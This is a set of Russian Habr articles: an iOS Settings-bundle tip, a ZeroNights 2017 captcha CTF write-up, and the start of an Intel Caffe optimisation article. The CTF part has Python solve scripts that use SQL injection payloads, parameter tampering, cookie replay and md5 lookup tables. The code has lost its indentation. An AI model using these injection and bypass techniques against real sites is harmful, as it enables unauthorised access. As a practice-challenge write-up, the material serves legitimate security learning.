Прежде чем приступить к управлению **Settings bundle**, давайте вкратце рассмотрим концепцию.
Settings bundle
---------------
**Settings bundle** или же пакет настроек рассматривается как ресурс приложения. Каждый раз, когда вы собираете свой проект, Xcode копирует пакет Settings в пакет приложения, а приложение **iOS Settings** отображает настройки на основе этого бандла.
Следующая диаграмма иллюстрирует этот процесс, когда вы собираете свой проект в Xcode.
Диаграмма процесса сборки и копирования ресурсов в пакет приложенияПоняв эту концепцию, вы в будущем сможете использовать этот принцип для расширения Settings bundle для своих приложений.
#### CocoaPods Acknowledgements
Оказывается CocoaPods задумывались об этом раньше и для этого добавили собственный плагин с названием из заголовка.
Он генерирует plist, содержащий метаданные после установки. Плагин поддерживает генерацию двух стилей информации о зависимостях.
* **Settings.bundle compatible plist** - этот формат поддерживается большим количеством pods и работает с Settings.app от Apple.
* **Full Podspec metadata plist** - Этот формат предоставляет приложению больше информации, позволяя проводить более глубокую проверку, в настоящее время только **CPDAcknowledgements** работает с этим форматом.
#### Установка
Для установки с помощью **gem install cocoapods-acknowledgements** вам необходимо добавить плагин 'cocoapods-acknowledgements' в ваш Podfile.
#### Примеры
Если вы планируете сами рисовать интерфейс со списком зависимостей:
```
plugin 'cocoapods-acknowledgements'
```
Для встраивания в **Settings.bundle,** о котором речь пойдет ниже**:**
```
plugin 'cocoapods-acknowledgements', :settings_bundle => true
```
После выполнения этой команды (например, после pod update) будет сгенерирован файл формата:
```
Pods-YOUR_TARGET-settings-metadata
```
Этот файл нам и нужен! Для удобства советую его переименовать, например, в **Pods-metadata**. После формирования **Settings bundle** с помощью Xcode вы получите следующую структуру:
Пример структуры Settings.BundleДалее нам нужно преобразовать файл **Root.plist** из-за бага Xcode, тянущегося едва ли не с 7 версии в формат **Info.plist** (правой кнопкой по содержимому — выбираем формат Info.plist).
После этого необходимо добавить следующие строки:
Пример изменённого Settings.bundle* **PSChildPaneSpecifier** — нужен для отображения нашего списка зависимостей (лицензий).
* **Title** нужно передать то, как нам хочется видеть этот пункт в списке настроек.
* **Filename** — тут нужно использовать созданный ранее файл.
---
### Отображение в списке настроек
Если всё выполнено верно, то вы получите вид, как на иллюстрации ниже. Для этого перейдите в стандартное приложение Settings на телефоне, после чего найдите ваше приложение.
Результат нашей работыКонечно, возможности Settings.bundle намного шире представленных в этой статье. Моя же цель была в другом: показать, как можно использовать стандартные инструменты для того, чтобы решить вопрос, связанный, с казалось бы, сторонним решением типа CocoaPods.
---
#### Ресурсы для подготовки этой статьи
* Туториал по [использованию Settings bundle](https://swiftsenpai.com/xcode/settings-bundles-management/).
* Официальная [документация Apple](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/UserDefaults/Preferences/Preferences.html).
* Сам плагин [CocoaPods](https://github.com/CocoaPods/cocoapods-acknowledgements).
Если вы нашли что-то полезное для себя, то подписывайтесь на мой канал, [тут больше интересных историй и подходов](https://t.me/+qll_YZ6_8bo2Njky).
Авторский канал об iOS-разработке | https://habr.com/ru/post/674550/ | null | ru | null |
# Задачки с ZeroNights 2017: стань королем капчи
В этом году на ИБ-конференции ZeroNights отдел тестирования информационной безопасности приложений СберТеха предложил участникам ZeroNights поискать уязвимости в различных реализациях капчи. Всего мы дали 11 примеров с логическими или программными ошибками, которые позволяют решать множество капч за малое время. В каждом раунде от участников требовалось «решить» 20 капч за 10 секунд и при этом набрать нужный процент правильных ответов.
Мы предлагаем вам тоже поучаствовать. В посте мы разместим ссылки на все задания, составленные [fryday](https://habrahabr.ru/users/fryday/), а под ними в спойлерах — write-up участника [Liro](https://habrahabr.ru/users/liro/) с правильными ответами.
Для доступа к заданиям необходима [регистрация](http://captcha.cf/register) на сайте с заданиями. Много времени она не займет — подтверждающих писем нет, после ввода своих данных можно сразу логиниться.
[Задание-разминка](http://captcha.cf/challenge/1): «Ciferka»
------------------------------------------------------------
Это задание предназначено для знакомства с интерфейсом. В начале каждого задания будет дано краткое описание, общее количество капч, требуемый процент правильно введенных капч и время решения, а также зарабатываемые очки. По количеству очков можно примерно оценить сложность задания.
[Задание 2](http://captcha.cf/challenge/2): «A little bit greeky»
-----------------------------------------------------------------
**Решение**В этом задании нам каждый раз нам предлагается вводить «осознанное» слово. Быстро гуглим – оказывается, что это имена богов из греческой мифологии. После ввода нескольких капч и просмотра кода картинок замечаем, что каждый раз номер картинки меняется:
Можно предположить, что количество картинок ограничено. В коде страницы указаны непосредственно ссылки на сами капчи. Выгружаем их руками — всего оказалось 16 штук.
У нас есть конечное количество картинок с номерами от 1 до 16, где каждому номеру соответствует имя конкретного персонажа. Теперь остается при каждом запросе найти в коде страницы номер капчи и отправить нужного персонажа, соответствующего этому номеру:
```
def chal2():
def load_captcha_images():
url = "http://captcha.cf/static/ciferki/{}.png"
for i in range(1, 16):
resp = requests.get(url.format(i))
with open('captcha1/{}.png'.format(i), 'wb') as f:
f.write(resp.content)
gods = 'Zeus Hera Aphrodite Apollo Ares Leto Athena Phobos Dionysus Hades Triton Hermes Eos Poseidon Morpheus'
captcha_solutions = gods.split()
resp = s.post('http://captcha.cf/challenge/2/start', proxies=proxies)
resp = s.get('http://captcha.cf/challenge/2', proxies=proxies)
for i in range(50):
captcha_match = re.search(r'.png)', resp.text)
if not captcha_match:
print(resp.text)
captcha_num = int(captcha_match.group(1))
print('captcha_num:', captcha_num)
resp = s.post(
'http://captcha.cf/captcha',
data={'answer': captcha_solutions[captcha_num - 1]},
proxies=proxies)
```
[Задание 3](http://captcha.cf/challenge/3): «One, two, three…»
--------------------------------------------------------------
**Решение**Если внимательно прочитать задание, можно заметить одну странность – нам необходимо всего лишь 24% правильных ответов для успешного прохождения. Запомним это и продолжим наши поиски.
Во всех капчах этого задания нам предлагают ввести результат суммирования некоторых чисел. После прохождения всех капч становится ясно, что в суммировании используются только числа от 1 до 4.
Переберем все возможные комбинации, которые могут появляться, основываясь на наших догадках о том, что цифры больше 4 в сумме не используются:
| | | | |
| --- | --- | --- | --- |
| 1+1=2 | 2+1=3 | 3+1=4 | 4+1=5 |
| 1+2=3 | 2+2=4 | 3+2=5 | 4+2=6 |
| 1+3=4 | 2+3=5 | 3+3=6 | 4+3=7 |
| 1+4=5 | 2+4=6 | 3+4=7 | 4+4=8 |
Самый частый результат суммы — 5, ровно 25% всех сумм. В условии стоит 24% верных капч, так что если мы установим «5» как ответ для всех, то решим задачу:
```
def chal3():
resp = s.post('http://captcha.cf/challenge/3/start', proxies=proxies)
for i in range(20):
resp = s.post('http://captcha.cf/captcha', data={'answer': 5}, proxies=proxies)
time.sleep(65)
```
[Задание 4](http://captcha.cf/challenge/4): «We need to go deeper»
------------------------------------------------------------------
**Решение**Cмотрим код страницы и видим там обфусцированный JavaScript. Скорей всего, этот код и проверяет правильность вводимой капчи. Проверим свою теорию с помощью Burp Suite:
Помимо введенной капчи, на сервер также отправляется параметр «correct» равный 1. То есть можно обмануть сервер, отправляя ему каждый раз одно и тоже значение капчи, при этом добавив параметр correct:
```
**def** chal4():
resp = s.post('http://captcha.cf/challenge/4/start', proxies=proxies)
**for** i **in** range(20):
**print**(i)
s.post('http://captcha.cf/captcha', data={'answer': '0C8X4', 'correct': '1'}, allow_redirects=False, proxies=proxies)
```
[Задание 5](http://captcha.cf/challenge/5): «Promzona»
------------------------------------------------------
**Решение**Визуальный анализ капчи ничего не дает, поэтому мы использовали Burp Suite для анализа:
Как оказалось, для проверки на сервер помимо ответа на капчу отправляется также параметр «kod», который хранится в коде страницы:
Нетрудно догадаться, что параметр «kod» — это md5-хеш от ответа. Таким образом, отправляем на сервер 20 раз корректную пару answer/kod, и задание засчитано:
```
def chal5():
resp = s.post('http://captcha.cf/challenge/5/start', proxies=proxies)
for i in range(20):
print(i)
s.post('http://captcha.cf/captcha', data={'answer': '55', 'kod':'b53b3a3d6ab90ce0268229151c9bde11'}, allow_redirects=False, proxies=proxies)
```
[Задание 6](http://captcha.cf/challenge/6): «Dispersion»
--------------------------------------------------------
**Решение**При вводе капч мы заметили, что длина капчи всегда составляет пять символов, а в ней используются только заглавные буквы и цифры. Просмотрев код, мы также видим, что название картинки капчи — это md5-хэш от ее символов.
Анализ через Burp Suite показывает, что нам необходимо только поле answer, которое является ответом на капчу.
Дело за малым – вытащить из кода страницы необходимое значение хэша, а по нему восстановить значение капчи. Однако функция, обратная хэшированию, сложна к вычислению, поэтому пойдем другим путем. Составим таблицу пар всех возможных капч (только заглавные буквы и цифры, длина капчи всегда 5 символов) и значения md5-хэшей от них, произведем поиск необходимого значения капчи по хэшу:
```
def chal6():
resp = s.post('http://captcha.cf/challenge/6/start')
for i in range(20):
m = re.search(r'static/regenbogen/(.*?)\.png', resp.text)
hash_ = m.group(1)
word = sh.grep(hash_, 'md5_tables/' + hash_[0] + '.md5').split(':')[1].strip()
print(hash_, word)
resp = s.post('http://captcha.cf/captcha', data={'answer': word})
```
Для выполнения задания понадобилось написать дополнительные функции:
* мы сгенерировали все возможные md5-хэши для ответов длиной в 5 символов, состоящих из заглавных букв и цифр;
* для прохождения задания в заданное время, мы отсортировали все хэши по первому символу. Т.е. мы смотрим первый символ хэша капчи, открываем необходимый блок сортировки и производим поиск по нему только в этом блоке.
```
alphabet = string.ascii_lowercase + string.digits
def gen_md5_table():
a = string.ascii_uppercase + string.digits
table = itertools.product(a, repeat=5)
f = open('md5_table', 'w')
for i in table:
s = hashlib.md5(bytes(''.join(i), 'ascii')).hexdigest() + ':' + ''.join(i)
print(s)
f.write(s + '\n')
f.close()
*# call gen\_md5\_table
# in bash: sort md5\_table > md5\_sorted
# in bash: mkdir md5\_tables
# call split\_to\_files*
def split_to_files():
file_handlers = {}
for a in alphabet:
file_handlers[a] = open('md5_tables/' + a +'.md5', 'w')
with open('md5_sorted') as f:
for line in f:
file_handlers[line[0]].write(line)
```
[Задание 7](http://captcha.cf/challenge/7): «Four rooms»
--------------------------------------------------------
**Решение**К своему удивлению, вместо непонятных, трудно читаемых символов мы видим в задании красивую, абсолютно понятную картинку:
Благодаря читабельности картинки можно использовать технологию оптического распознавания символов. В python3 — OCR-модуль pytesseract. Пришлось немного исправить функцию, убрав из считываемого текста возможные пробелы, которые не подразумеваются при вводе капчи.
```
def chal7():
s.post('http://captcha.cf/challenge/7/start', proxies=proxies)
for i in range(1, 21):
resp = s.get('http://captcha.cf/captcha/image', proxies=proxies)
image_name = '/tmp/{}.png'.format(i)
with open(image_name, 'wb') as f:
f.write(resp.content)
text = pytesseract.image_to_string(Image.open(image_name), config='psm -7').replace(' ', '')
print('text:', text)
s.post('http://captcha.cf/captcha', data={'answer': text}, allow_redirects=False, proxies=proxies)
```
[Задание 8](http://captcha.cf/challenge/8): «Strategic Explorations of Exoplanets and Disks with Subaru»
--------------------------------------------------------------------------------------------------------
**Решение**Перед нами вроде бы обычная жуткая капча. Посмотрим код картинок:
Цифры увеличиваются, но никаких последовательностей на протяжении ввода капч не прослеживается. После некоторых раздумий становится понятно: нашим условиям соответствует время. Это параметр, который последовательно увеличивается, но зависимость здесь не лежит на поверхности, так как совершать действия через идеально равные промежутки времени вручную невозможно.
Число на капче – некоторая модификация времени, прописанного в коде страницы. Один из вариантов использования времени — это инициализация генератора случайных чисел. Мы заметили, что числа капч находились в диапазоне от 10 000 до 100 000. Эти границы и были заданы для генерации случайных чисел.
```
def chal8():
resp = s.post('http://captcha.cf/challenge/8/start', proxies=proxies)
for i in range(20):
m = re.search(r'/static/random/42_(\d+).png', resp.text)
r = m.group(1)
random.seed(int(r))
print('r:', r)
ans = random.randrange(10000,100000)
resp = s.post('http://captcha.cf/captcha', data={'answer': ans}, proxies=proxies)
```
[Задание 9](http://captcha.cf/challenge/9): «Watson»
----------------------------------------------------
**Решение**Начнем сразу с Burp Suite:
Эта задача уже посложней. Кроме поля «answer» ничего нет, а значит нужно искать способ решения где-то в другом месте. После некоторых изысканий, мы дошли до анализа отправленного значения cookie. Заметим, что их значение очень напоминает информацию, закодированную в base64. Проверим это:
Поле «captcha» указывает на то, что с помощью cookie подтверждается валидность капчи. То есть для определенной сессии и определенного поля «answer» наш ответ будет всегда считаться правильным:
```
def chal9():
resp = s.post('http://captcha.cf/challenge/9/start', proxies=proxies)
for i in range(20):
cookies = {'session':'eyJjYXB0Y2hhIjoiZjhkYTJlYjY4ZmU2YmRjZmY4YTk1NzJiNjMxNGQ2YmMiLCJ1c2VybmFtZSI6ImRtaXRyeS5tYW50aXNAZ21haWwuY29tIn0.DO94IQ.gHUIa3tyIgQ-JdpQ-O0GwUerTSI'}
requests.post('http://captcha.cf/captcha', data={'answer': 'ICF4G'}, allow_redirects=False, proxies=proxies, cookies=cookies)
```
[Задание 10](http://captcha.cf/challenge/10): «Medicine»
--------------------------------------------------------
**Решение**Для успешного выполнения задания необходимо проэксплуатировать SQL-инъекцию в параметре answer. Логика запроса заключается в сравнении результата капчи из таблицы captcha из базы данных c полученной от пользователя капчей. Исходя из этого передадим на вход в параметр answer:
```
11111’ union select result from sqli.captcha where id=’’ -- 1
```
Автоматизируем процесс эксплуатации:
```
def chal10():
resp = s.post('http://captcha.cf/challenge/10/start')
for i in range(20):
m = re.search(r'name="id" value="(.*?)">', resp.text)
id_ = m.group(1)
print(id_)
data = {
'answer': "asdadsdsa' union select result from sqli.captcha where id='{}' — 1".format(id_),
'id': id_
}
resp = s.post('http://captcha.cf/captcha', data=data)
```
[Задание 11](http://captcha.cf/challenge/11): «Poliklinika»
-----------------------------------------------------------
**Решение**Иногда составители заданий проводят аналогии между названиями самих заданий и способами решения проблемы. Медицинская тема сработала в прошлой задаче. Также и название Poliklinika наталкивает на попытки использовать SQL-инъекции для решения задачи. Для начала наше задание прогоним через Burp:
Опять нам нужны два поля – «answer» и «id». Второй параметр можно получить из кода страницы:
Видно, что логика SQL запроса представляет собой нечто подобное
*SELECT id FROM captcha\_table WHERE captcha=’$captcha’*
с дальнейшей сверкой полученного результата с параметром id запроса.
Поменяем логику запроса, отдавая в параметре с капчей *anything’ or id=’id\_parsed\_from\_page\_body.* Благодаря логическому ИЛИ запрос будет выполнен успешно и полученный id из базы данных совпадет с id, передаваемым в запросе.
Проверим, проэксплуатировав SQL-инъекцию на вводе капчи:
Эксплуатация проведена успешно, осталось только автоматизировать сдачу результатов.
```
def chal11():
resp = s.post('http://captcha.cf/challenge/11/start', proxies=proxies)
for i in range(20):
m = re.search(r'name="id" value="(.*?)">', resp.text)
cid = m.group(1)
data = { 'answer': "asdadsdsa' or id='{}' -- 1".format(cid), 'id': cid}
resp = s.post('http://captcha.cf/captcha', data=data, proxies=proxies)
``` | https://habr.com/ru/post/344816/ | null | ru | null |
# Оптимизация нейросетевой платформы Caffe для архитектуры Intel
Современные программы, претендующие на звание эффективных, должны учитывать особенности аппаратного обеспечения, на котором они будут исполняться. В частности, речь идёт о многоядерных процессорах, например, таких, как Intel Xeon и Intel Xeon Phi, о больших размерах кэш-памяти, о наборах инструкций, скажем, Intel AVX2 и Intel AVX-512, позволяющих повысить производительность вычислений.
[](https://habrahabr.ru/company/intel/blog/315582/)
*Еле удержались, чтобы не пошутить про руссиано)*
Вот, например, Caffe – популярная платформа для разработки нейронных сетей глубокого обучения. Её создали в Berkley Vision and Learning Center (BVLC), она пришлась по душе сообществу независимых разработчиков, которые вносят посильный вклад в её развитие. Платформа живёт и развивается, доказательство тому – статистика на [странице проекта](https://github.com/BVLC/caffe) в GitHub. Caffe называют «быстрой открытой платформой для глубокого обучения». Можно ли ускорить такой вот «быстрый» набор инструментов? Задавшись этим вопросом, мы решили оптимизировать Caffe для архитектуры Intel.
Забегая вперёд, отметим, что Caffe, благодаря интеграции с Intel Math Kernel Library 2017 и набору оптимизаций, которые мы выполнили, следуя плану, изложенному в [этом](https://software.intel.com/en-us/articles/what-is-code-modernization) материале, стала работать на процессорах Intel более чем в 10 раз быстрее базовой версии, которую мы, в дальнейшем, будем называть BVLC Caffe. Версию, оптимизированную для архитектуры Intel, дальше, для краткости, будем называть Intel Caffe. [Вот](https://github.com/intel/caffe) её исходный код.
Основные направления улучшения производительности, подробности о которых читайте ниже, заключались в рефакторинге кода, в его оптимизации в расчёте на использование наборов векторных инструкций, таких, как Intel AVX2, в тонкой настройке компиляции, в повышении эффективности многопоточного исполнения кода с использованием OpenMP. Испытания проводились на системе с двумя процессорами Intel Xeon. В частности, мы исследовали скорость нейронной сети, построенной средствами Caffe, при работе с изображениями из набора CIFAR-10. Результаты исполнения программы анализировали в Intel VTune Amplifier XE 2017 и с помощью других инструментов.
Похожий подход можно использовать для улучшения производительности самых разных программ, например, других платформ для глубокого обучения нейронных сетей.
Прежде чем переходить к вопросам оптимизации, расскажем об алгоритмах глубокого обучения и о задачах, которые решают с их помощью.
Об алгоритмах глубокого обучения
--------------------------------
Алгоритмы глубокого обучения – это часть более общего класса алгоритмов машинного обучения, которые в последние годы показали значительные результаты в распознавании образов на фото и видео, в распознавании речи, в обработке естественного языка, и в других областях, где приходится иметь дело с огромными объёмами информации и решать задачи анализа данных. Успех глубокого обучения базируется на последних достижениях в области вычислений и алгоритмов, в возможностях обрабатывать большие наборы данных. Принцип работы таких алгоритмов заключается в том, что данные пропускают через слои сети, в которых производится преобразование информации, извлечение из неё всё более сложных признаков.
Вот пример того, как каждый уровень глубокой нейронной сети обучен идентифицировать признаки всё более высокой сложности. Здесь показан небольшой набор признаков, распознаваемых глубокой сетью, визуализированный в виде изображений в оттенках серого. Здесь же показаны исходные цветные изображения, обработка которых ведёт к выделению этих признаков. Изображение взято [отсюда](https://www.cs.nyu.edu/~fergus/papers/zeilerECCV2014.pdf).
*Свёрточная нейронная сеть*
Для работы алгоритмов глубокого обучения с учителем требуется размеченный набор данных. Три популярных типа глубоких нейронных сетей, которые обучают с учителем, это многослойный перцептрон (Multilayer Perceptron, MLM), свёрточные нейронные сети (Convolution Neural Network, CNN), и рекуррентные нейронные сети (Recurrent Neural Network, RNN). В этих сетях входные данные, при прохождении их через каждый слой сети, подвергают сериям линейных и нелинейных преобразований. В итоге формируются выходные данные сети. Ответ сети сравнивают с ожидаемым результатом, находят ошибки, затем, для выходного слоя, вычисляют вектор градиента поверхности ошибок, выясняют, какой вклад в ответ сети вносят синаптические веса нейронов, с учётом активационных функций, после чего выполняют такую же процедуру для других слоёв, применяя ранее полученные данные. Этот метод обучения называют алгоритмом обратного распространения ошибки, в результате его применения производится пошаговая модификация весовых коэффициентов нейронов сети.
В многослойных перцептронах входные данные в каждом слое (представленном вектором) сначала умножают на полностью заполненную матрицу весовых коэффициентов, уникальную для слоя. В рекуррентных сетях такая матрица (или матрицы) одна и та же для каждого слоя (так как слой рекуррентный), и свойства сети зависят от входного сигнала. Свёрточные сети похожи на многослойные перцептроны, но они используют разреженные матрицы для скрытых слоёв, называемых свёрточными. В таких сетях умножение матриц представлено свёрткой матричного представления весов с матричным представлением входных данных слоя. Свёрточные сети популярны в распознавании изображений, но они находят применение и в распознавании речи, и в обработке естественных языков. [Здесь](http://cs231n.github.io/convolutional-networks/) можно почитать о таких сетях подробнее.
Caffe, CIFAR-10 и классификация изображений
-------------------------------------------
Как уже было сказано, здесь мы собираемся оптимизировать для архитектуры Intel BVLC Caffe – популярную платформу для создания и исследования сетей глубокого обучения. Испытывать исходную и оптимизированную версию платформы будем, используя набор данных [CIFAR-10](https://www.cs.toronto.edu/~kriz/cifar.html), который часто применяют в задачах классификации изображений, и [модель](https://github.com/BVLC/caffe/blob/master/examples/cifar10/cifar10_full_sigmoid_train_test_bn.prototxt) нейронной сети, построенную в Caffe.
*Пример изображений из набора CIFAR-10*
Набор данных CIFAR-10 состоит из 60000 цветных изображений размером 32x32 пикселя, разделённых на 10 классов: самолет, автомобиль, птица, кошка, олень, собака, лягушка, лошадь, корабль и грузовик. Классы не пересекаются. Например, здесь нет перекрытия между классами «автомобиль» и «грузовик». К «автомобилям» относятся, например, седаны и внедорожники. В класс «грузовик» входят только тяжёлые грузовики, а, например, грузовиков-пикапов нет ни в одной из групп изображений.
Сеть, используемая в ходе тестирования производительности, содержит слои различных типов. В частности, это слои с сигмоидной функцией активации (такие слои, в терминологии Caffe, имеют тип Sigmoid), свёрточные слои (тип Convolution), слои пространственного объединения или, как их ещё называют, слои подвыборки (тип Pooling), слои пакетной нормализации (тип BatchNorm), полносвязные слои (тип InnerProduct). На выходе сети находится слой с активационной функцией Softmax (тип SoftmaxWithLoss). Подробнее об этой сети и её слоях мы поговорим ниже. А сейчас приступим к анализу исходной версии Caffe.
Первоначальный анализ производительности
----------------------------------------
Один из методов оценки производительности BVLC Caffe и Intel Caffe заключается в использовании команды **time**, которая вычисляет время, необходимое для прохождения сигнала по слоям в прямом и обратном направлении. Эта команда весьма полезна для измерения времени, которое затрачивается на вычисления в каждом уровне, и для получения сравнительного времени исполнения для различных моделей:
```
./build/tools/caffe time \
--model=examples/cifar10/cifar10_full_sigmoid_train_test_bn.prototxt \
-iterations 1000
```
В данном случае «итерацией» (тем, что задаёт параметр **iteration**) называется один прямой и обратный проход по пакету изображений. Вышеприведённая команда выводит среднее время исполнения для 1000 итераций, как для отдельных слоёв, так и для всей сети. Вот результаты работы этой команды для BVLC Caffe.
*Вывод команды time для BVLC Caffe*
В тестах мы использовали систему с двумя сокетами. В каждом был установлен процессор Intel Xeon E5-2699 v3 (2.3 ГГц) с 18-ю физическими ядрами. При этом технология Intel Hyper-Threading была отключена. В системе, таким образом, было всего 36 физических процессорных ядер и такое же число потоков OpenMP, что было задано с помощью переменной окружения **OMP\_NUM\_THREADS**. Если не указано иное, в наших экспериментах использовалась именно такая конфигурация. Обратите внимание на то, что мы рекомендуем позволить Intel Caffe автоматически настраивать переменные окружения OpenMP, вместо того, чтобы задавать их самостоятельно. В системе, кроме того, установлено 64 Гб DDR4-памяти, которая работает на частоте 2.133 МГц.
Здесь показаны результаты тестирования производительности, которых удалось достичь благодаря оптимизации кода инженерами Intel. Для измерения производительности мы использовали следующие инструменты:
* Callgrind из набора инструментов Valgrind.
* Intel VTune Amplifier XE 2017 beta.
Средства из Intel VTune Amplifier XE предоставляют следующие сведения:
* Функции, создающие наибольшую нагрузку на систему (hotspots).
* Системные вызовы (в том числе – переключение задач).
* Использование процессора и кэш-памяти.
* Распределение нагрузки по потокам OpenMP.
* Блокировки потоков.
* Использование памяти.
Анализы производительности можно использовать для поиска подходящих кандидатов на оптимизацию, таких, как функции, создающие большую нагрузку на систему, и вызовы функций, которые выполняются сравнительно долго.
На рисунке ниже показаны обобщённые данные анализа производительности BVLC Caffe из Intel VTune, полученные после выполнения 100 итераций. Показатель Elapsed Time, расположенный в верхней части рисунка, составляет 37 секунд. Это – время, которое понадобилось для выполнения кода на тестовой системе. Показатель CPU Time, процессорное время, составляет 1306 секунд. Это немного меньше, чем 37 секунд, умноженные на 36 ядер (1332 секунды). Данный показатель представляет собой общую длительность исполнения кода во всех потоках (или на всех ядрах, так как в нашем случае технология Intel HT была отключена), которые используются в вычислениях.
*Общие результаты анализа исполнения BVLC Caffe на наборе данных CIFAR-10 в Intel VTune Amplifier XE 2017 beta*
Гистограмма использования процессора, которая находится в нижней части рисунка, указывает на то, как часто в ходе теста определённое количество потоков задействуется одновременно. В данном случае, из 37 секунд, 14 приходится на один поток (то есть – на одно ядро). Всё остальное время мы видим весьма неэффективную многопоточную обработку, при этом, в основном, в работе участвуют менее 20 потоков.
Раздел Top Hotspots, расположенный в середине рисунка, указывает на то, на какие функции приходится больше всего работы. Здесь перечислены вызовы функций и вклад каждой из них в общее время работы процессора. Функция **kmp\_fork\_barrier** – это внешняя OpenMP-функция, на исполнение кода которой уходит 1130 секунд процессорного времени. Это означает, что около 87% рабочего времени процессора уходит на то, что потоки бездействуют в этой барьерной функции, не делая ничего полезного.
В исходном коде BVLC Caffe имеется строчка **#pragma omp parallel**. Однако в самом коде не наблюдается явного использования библиотеки OpenMP для организации многопоточной обработки данных. При этом внутри Intel MKL потоки OpenMP используются для распараллеливания выполнения некоторых базовых математических расчётов. Для того, чтобы подтвердить это распараллеливание, мы можем воспользоваться вкладкой Bottom-up в Intel VTune XE, содержимое которой, после тестирования BVLC Caffe на наборе данных CIFAR-10, приведено на рисунке ниже. Здесь можно найти перечень вызовов функций и дополнительные сведения о них. В частности, нас интересуют показатели Effective Time by Utilization (верхняя часть вкладки) и показатели распределения нагрузки, создаваемой функциями, по потокам (нижняя часть).
*Визуализация временных параметров исполнения функций и перечень функций, сильнее всего нагружающих систему при исполнении BVLC Caffe на наборе данных CIFAR-10*
Функция **gemm\_omp\_driver\_v2** – это часть библиотеки **libmkl\_intel\_thread.so** – обобщённая реализация умножения матриц (GEMM) из Intel MKL. Во внутренних механизмах этой функции задействована OpenMP-многопоточность. Функция умножения матриц из Intel MKL – это основная функция, используемая в процедурах прямого и обратного распространения, то есть, в операциях получения ответа сети и её обучения. Intel MKL использует многопоточное исполнение, что обычно уменьшает время выполнения GEMM-вычислений. Однако, в данном конкретном случае операция свёртки для изображений размером 32x32 создаёт не слишком большую нагрузку на систему, что не позволяет эффективно использовать все 36 OpenMP-потока на 36 ядрах в одной GEMM-операции. Поэтому, как будет показано ниже, требуется использование различных схем многопоточности и параллелизации исполнения кода.
Для того, чтобы продемонстрировать дополнительную нагрузку на систему, которую создаёт необходимость работать со множеством потоков OpenMP, мы запустили тот же код с переменной окружения **OMP\_NUM\_THREADS=1**, а затем сравнили время исполнения с предыдущим результатом. То, что у нас получилось, представлено на рисунке ниже. Здесь мы видим показатель Elapsed Time, равный 31.1 секунде, вместо 37 секунд из предыдущего испытания. Записав в переменную окружения единицу, мы принудили OpenMP к созданию только одного потока и к использованию его для исполнения кода. Полученная разница в почти шесть секунд указывает на дополнительную нагрузку на систему, которую вызывают операции инициализации и синхронизации потоков OpenMP.
*Общие результаты анализа исполнения BVLC Caffe на наборе данных CIFAR-10 в Intel VTune Amplifier XE 2017 beta при использовании одного потока*
В центральной части вышеприведённого рисунка имеется список функций, наиболее сильно нагружающих систему. Среди них мы обнаружили три основных кандидата на оптимизацию. А именно – это функции **im2col\_cpu**, **col2im\_cpu**, и **PoolingLayer::Forward\_cpu**.
Оптимизация кода
----------------
Работа с набором данных CIFAR-10 с в среде Caffe, оптимизированной для архитектуры Intel, примерно в 13.5 раз быстрее, чем при использовании BVLC Caffe. На рисунке ниже представлены средние результаты после 1000 итераций. Слева приведены данные BVLC Caffe, справа – Intel Caffe. Видно, что в первом случае общее время выполнения составило 270 мс., а во втором – 20 мс.
*Сравнение производительности BVLC Caffe и Intel Caffe*
Подробности о том, как задавать параметры вычислений для слоёв, можно найти [здесь](http://caffe.berkeleyvision.org/tutorial/layers.html).
В следующем разделе будут описаны оптимизации, использованные для улучшения производительности расчётов, применяемых в различных слоях. Мы следовали [методическим руководствам](https://software.intel.com/en-us/articles/what-is-code-modernization) из программы Intel Modern Code. Некоторые из оптимизаций основаны на базовых математических функциях из Intel MKL 2017.
Скалярная и последовательная оптимизация
----------------------------------------
### ▍Векторизация кода
После профилирования кода BVLC Caffe и выявления наиболее нагруженных функций, потребляющих больше всего процессорного времени, мы начали работу над векторизацией кода. Среди внесённых изменений были следующие:
* Улучшение работы с библиотеками Basic Linear Algebra Subprograms (BLAS), а именно – переход с Automatically Tuned Linear Algebra System (ATLAS) на Intel MKL.
* Оптимизации в процессе сборки кода (использование JIT-ассемблера Xbyak).
* Векторизация кода с использованием GNU Compiler Collection (GCC) и OpenMP.
В BVLC Caffe имеется возможность использования вызовов функции Intel MKL BLAS или других реализаций тех же механизмов. Например, функция GEMM оптимизирована в расчёте на векторизацию, многопоточное исполнение и эффективное использование кэш-памяти. Для улучшения векторизации мы так же использовали Xbyak – JIT-ассемблер для архитектур x86 (IA-32) и x64 (AMD64 или x86-64). Xbyak поддерживает следующие наборы векторных инструкций: MMX, Intel Streaming SIMD Extensions (Intel SSE), Intel SSE2, Intel SSE3, Intel SSE4, модуль вычислений с плавающей запятой, Intel AVX, Intel AVX2 и Intel AVX-512.
Xbyak – это x86/x64-ассемблер для C++, библиотека, специально созданная для повышения эффективности исполнения кода. Xbyak предоставляется в виде заголовочного файла. Он может динамически собирать мнемонические инструкции для архитектур x86 и x64. JIT-генерация двоичного кода в процессе исполнения даёт дополнительные возможности оптимизации. Например, это оптимизация квантования, операции поэлементного деления одного массива на другой, или оптимизация полиномиальных вычислений благодаря автоматическому созданию нужных функций во время выполнения программы. Благодаря поддержке наборов векторных инструкций Intel AVX и Intel AVX2, с помощью Xbyak можно достичь лучшего уровня векторизации кода в Caffe, оптимизированном для архитектуры Intel. В самой свежей версии Xbyak имеется поддержка набора векторных инструкций Intel AVX-512. Это позволяет улучшить производительность вычислений на процессорах Intel Xeon Phi семейства x200.
Улучшение показателей векторизации даёт возможность Xbyak, с помощью SIMD-инструкций, обрабатывать больше данных одновременно, что позволяет более эффективно задействовать параллельную обработку данных. Мы использовали Xbyak при оптимизации кода, что значительно улучшило производительность расчётов в слоях пространственного объединения. Если известны параметры пространственного объединения, можно сгенерировать ассемблерный код для конкретных моделей объединения, в которых используется определённое окно обработки данных или алгоритм. В результате получается вполне обычная с виду сборка, которая, что доказано, работает эффективнее, чем код на C++, скомпилированный без использования Xbyak.
### ▍Общие оптимизации кода
Другие последовательные оптимизации включали в себя следующее:
* Уменьшение сложности алгоритмов.
* Уменьшение объёма вычислений.
* Разворачивание циклов.
Избавление от многократного выполнения кода, результаты которого не меняются – это одна из техник скалярной оптимизации, которую мы применили. Это было сделано для того, чтобы заранее вычислить то, что иначе бы вычислялось внутри цикла с максимальной глубиной вложенности.
Рассмотрим, например, такой фрагмент кода:
```
for (int h_col = 0; h_col < height_col; ++h_col) {
for (int w_col = 0; w_col < width_col; ++w_col) {
int h_im = h_col * stride_h - pad_h + h_offset;
int w_im = w_col * stride_w - pad_w + w_offset;
```
